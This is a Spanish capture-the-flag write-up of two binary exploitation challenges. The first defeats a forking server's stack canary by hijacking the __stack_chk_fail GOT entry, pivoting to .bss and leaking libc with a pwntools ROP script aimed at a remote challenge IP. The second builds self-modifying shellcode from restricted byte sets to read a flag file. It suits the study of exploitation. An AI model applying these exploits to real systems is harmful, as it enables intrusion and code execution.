Técnica de bypass de Stack Canary en entornos multi-proceso
En el desafío ez_canary, nos enfrentamos a un servidor que utiliza fork() para gestionar las conexiones. Esta arquitectura es una ventaja crítica, ya que los processo hijos heredan el espacio de memoria y, lo más importante, el valor del stack canary del proceso padre. Disponemos de 5 intentos de interacción, lo que permite una explotación progresiva. El punto vulnerable se encuentra en una instrucción read que permite controlar tanto el registro rbp como la dirección de retorno: read(0, &savedregs, 0x10uLL);Ante la imposibilidad de filtrar el cenary directamente, se optó por una técnica de secuestro de la función __stack_chk_fail. El flujo de ataque diseñado es el siguiente: 1. En la primera etapa, se apunta rbp hacia una entrada en la Global Offset Table (GOT) relacionada con __stack_chk_fail, redirigiendo el flujo hacia la función gift.
2. Posteriormente, se sobrescribe la entrada GOT de __stack_chk_fail con un gadget ret. Esto neutraliza la protección, permitiendo que el programa continúe su ejecución incluso si el canary es alterado.
3. Para obtener la base de libc, es necesario realizar una migración de la pila (stack pivot) hacia la sección .bss. Intentar realizar el ROP directamente en el segmento GOT falla debido a que el enlazador dinámico requiere un espacio de pila considerable que sobrescribiría nuestros datos.
A continuación, se presenta una implementación refinada del exploit: ``` from pwn import *
def ejecutar_exploit(): context.update(arch='amd64', os='linux') # p = process('./server') p = remote('60.205.163.215', 10033) bin_obj = ELF('./server') libc_obj = ELF('./libc-2.31.so')
# Direcciones de gadgets y funciones
gadget_leave_ret = 0x40159D
instr_ret = 0x40159E
addr_gift_read = 0x401451
pop_rdi_ret = 0x401893
segmento_bss = 0x404ef0
stack_bypass = 0x401442
# Etapa 1: Redirección inicial
target_got_ptr = bin_obj.got['__stack_chk_fail'] + 0x18
p.sendafter(b'functions?', b'0\n')
p.sendafter(b'canary!', p64(target_got_ptr) + p64(stack_bypass))
# Etapa 2: Reparación de GOT y Stack Pivot a BSS
payload_reparacion = flat([
p64(0x401030), p64(0x401040), p64(0x401050),
p64(0x401060), p64(0x401070), p64(instr_ret),
p64(0x401090), p64(0x4010a0), p64(segmento_bss),
p64(addr_gift_read), p64(gadget_leave_ret)
])
p.send(payload_reparacion)
# Etapa 3: Leak de Libc
rop_leak = flat([
b'B' * 0x48,
p64(pop_rdi_ret),
p64(bin_obj.got['read']),
p64(bin_obj.plt['puts'])
])
p.send(rop_leak)
p.recvuntil(b'[Server]: ')
addr_read = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = addr_read - libc_obj.symbols['read']
print(f"Libc Base detectada: {hex(libc_base)}")
ejecutar_exploit()
#### Construcción de Shellcode con restricciones de caracteres
El reto `Old_5he1lc0de` impone una restricción severa: el shellcode se divide en dos etapas donde los conjuntos de caracteres utilizados deben ser disjuntos y la unión de ambos no debe superar los 16 bytes distintos. La estrategia aplicada es el **Self-Modifying Code (SMC)**. Se utilizan instrucciones básicas para construir el shellcode final byte a byte en una zona de memoria ejecutable. **Estrategia para el Conjunto 1:**Se utiliza el registro `rdx` (que inicialmente apunta al inicio del buffer) y se desplaza mediante `add dx, imm`. Para escribir los bytes deseados, se emplea la instrucción `add byte ptr [rdx], 1` de forma iterativa. **Estrategia para el Conjunto 2:**Se utiliza `xchg rsi, rdx` para manipular punteros y las instrucciones de la familia `lods` (como `lodsq` y `lodsb`). Al controlar el bit de direccción (DF), estas instrucciones incrementan o decrementan `rsi` automáticamente, permitiendo posicionar el puntero de escritura sin usar instrucciones de suma tradicionales. Implementación de los generadores de etapas: ```
from pwn import *
def generar_payload_final():
return asm('''
push 0x67616c66
mov rdi, rsp
xor rsi, rsi
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdx, rax
mov rax, 1
mov rdi, 1
syscall
''', arch='amd64')
def codificar_etapa_alfa(objetivo):
# Uso de {83, c2, 0e, 01, 02, 80, 90, 66}
buffer = b'\x66\x83\xC2\x0E' * 2000
for b in objetivo:
buffer += b'\x80\x02\x01' * b
buffer += b'\x66\x83\xC2\x01'
return buffer.hex().encode()
def codificar_etapa_beta(objetivo):
# Uso de {48, 87, d6, ad, ac, fe, 06}
buffer = asm('xchg rsi, rdx', arch='amd64')
buffer += asm('lodsq', arch='amd64') * 3000
for b in objetivo:
buffer += asm('inc byte ptr [rsi]', arch='amd64') * b
buffer += asm('lodsb', arch='amd64')
return buffer.hex().encode()
# El proceso de envío requiere enviar ambas etapas al servidor
# para que se reconstruya el shellcode funcional en memoria.